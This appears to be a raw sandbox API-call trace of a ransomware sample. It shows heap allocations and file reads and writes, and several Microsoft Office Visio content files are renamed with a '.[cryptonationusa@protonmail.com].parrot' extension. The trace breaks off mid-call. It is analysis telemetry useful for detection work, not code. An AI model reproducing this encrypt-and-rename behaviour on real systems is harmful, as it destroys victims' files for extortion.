1 [0213.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0213.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x2298068 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0213.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0213.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0213.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0213.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0213.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0213.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0213.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0213.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0213.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31e64b8 [0213.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0213.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31e9450 [0213.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.187] WriteFile (in: hFile=0x288, lpBuffer=0x31e9460*, nNumberOfBytesToWrite=0x3f28, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x31e9460*, lpNumberOfBytesWritten=0x18ebe4*=0x3f28, lpOverlapped=0x0) returned 1 [0213.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e9450 | out: hHeap=0x5b0000) returned 1 [0213.189] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0213.189] CloseHandle (hObject=0x288) returned 1 [0213.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0213.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x319c088 [0213.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0213.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_U.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_u.vsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_U.VSD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_u.vsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c64a0 | out: hHeap=0x5b0000) returned 1 [0213.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0213.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0213.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0213.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0213.194] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.194] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.195] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.195] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21a00, lpOverlapped=0x0) returned 1 [0213.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0213.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0213.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0213.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0213.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178470 [0213.196] GetLastError () returned 0x0 [0213.199] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0213.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0213.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0213.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0213.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0213.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0213.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0213.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0213.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0213.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK3_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block3_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK3_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block3_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.205] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.205] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.206] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.206] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20200, lpOverlapped=0x0) returned 1 [0213.213] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK3_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block3_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK3_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block3_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.220] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.220] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.221] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.221] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2e000, lpOverlapped=0x0) returned 1 [0213.266] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.279] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.279] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.280] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.280] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5e00, lpOverlapped=0x0) returned 1 [0213.284] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.291] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.325] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.325] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b400, lpOverlapped=0x0) returned 1 [0213.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.342] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.342] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.343] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5c00, lpOverlapped=0x0) returned 1 [0213.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKP_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blockp_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.354] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.356] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf1d7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf1d7, lpOverlapped=0x0) returned 1 [0213.358] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0213.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.367] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.380] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.380] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24000, lpOverlapped=0x0) returned 1 [0213.385] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.395] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.395] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.396] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.396] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7800, lpOverlapped=0x0) returned 1 [0213.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCK_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\block_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0213.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.407] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.407] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, 